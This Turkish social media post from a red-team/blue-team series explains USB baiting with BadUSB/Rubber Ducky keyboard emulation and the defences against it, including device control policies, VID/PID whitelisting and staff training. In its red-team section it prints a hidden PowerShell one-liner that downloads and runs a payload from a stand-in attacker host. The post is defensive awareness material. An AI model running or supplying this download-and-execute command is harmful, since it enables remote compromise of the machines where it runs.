🔴🔵 Red vs Blue #5: Otoparkta USB Avı (Baiting) vs Device Control & Port Zırhı Kurumsal güvenlikte en çok gözden kaçan halkalardan biri insan faktörüdür. Saldırganlar, milyon dolarlık güvenlik duvarlarını ve EDR çözümlerini dışarıdan zorlamak yerine, merak uyandıran zararlı yüklü bir USB belleği şirket otoparkına, kafeteryaya veya lobiye bırakarak (Baiting) doğrudan iç ağa sızmayı hedefler. 🔴 Kırmızı Takım (Red Team): USB Baiting ve HID Emülasyonu Saldırganlar otoparkta "bulunan" bir USB'nin sıradan bir depolama birimi gibi görünmesini sağlar ancak arka planda çok daha hızlı çalışan donanımsal araçlar (BadUSB, Rubber Ducky) kullanırlar. Merak Manipülasyonu: USB'nin üzerine "2026 Maaş Zamları", "Yıl Sonu Prim Listesi" veya "Gizli Rapor" gibi etiketler yapıştırılarak çalışanların merak katsayısı tetiklenir. HID (Klavye) Emülasyonu: Cihaz bilgisayara takıldığı an işletim sistemi onu bellek olarak değil, bir klavye (Human Interface Device) olarak algılar. Milisaniyelik Saldırı: Klavye gibi davranan cihaz, insanüstü bir hızla Win + R tuş kombinasyonunu açar, saniyeler içinde gizli bir PowerShell komutu koşturur ve arka planda yetkili komut satırını (Reverse Shell) saldırganın sunucusuna bağlar. 🔵 Mavi Takım (Blue Team): Device Control ve BadUSB Engelleme Zırhı Mavi Takım, çalışanların merakına yenik düşebileceği ihtimalini varsayarak savunmasını uç nokta kısıtlamaları ve donanımsal engeller üzerine kurar. GPO & EDR Device Control: Group Policy ve EDR üzerinden beyaz listeye (Whitelist) alınmamış tüm USB depolama aygıtlarının okunması ve yazılması tamamen engellenir. HID & BadUSB Algılama: Device Control ve bazı uç nokta güvenlik çözümleri, yeni bağlanan HID/USB cihazlarını cihaz sınıfı, donanım kimliği ve tanımlanan güvenlik politikalarına göre kısıtlayabilir. PowerShell gibi süreçlerin şüpheli biçimde başlatılması ise EDR telemetrisiyle ayrıca tespit edilebilir. Seri Numarası / VID & PID Engelleme: Sadece şirket tarafından tanımlanmış, şifrelenmiş ve onaylı USB cihazlarının çalışmasına izin verilir; dışarıdan getirilen her cihaz varsayılan olarak engellenir. Saldırganın Klasik Komut Zinciri (Red Team Execution): ----- # BADUSB / RUBBER DUCKY TAKILDIGINDA OTOMATIK ÇALIŞAN POWERSHELL KOMUTU (RED TEAM) powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')" ---- Özet Karşılaştırma Red Team Amacı: İnsan merakını kullanarak fiziksel güvenlik sınırlarını aşmak ve BadUSB ile oturum açmış kullanıcı yetkisinde kod koşturmak. Zayıflık: HID emülasyonunun bıraktığı insanüstü yazım hızı (typing speed) izleri ve tanınmayan USB donanım kimliklerinin (VID/PID) sistem kayıtlarına düşmesi. Blue Team Çözümü: GPO / EDR Device Control Politikaları + BadUSB Engelleme + Düzenli Sosyal Mühendislik ve USB Farkındalık Eğitimleri. O zaman Mustafa soruyor: Şirketinizdeki bilgisayarlarda dışarıdan takılan USB cihazlar için GPO veya EDR düzeyinde "Device Control" kısıtlaması aktif mi? Birisi otoparkta bulduğu USB'yi bilgisayara takarsa sisteminiz bunu anında engelleyebilir mi? Düşüncelerinizi yorumlarda paylaşın! 👇 Okuduğunuz için teşekkürler! Kendinize, verilerinize ve dijital zırhınıza çok iyi bakın! 🌼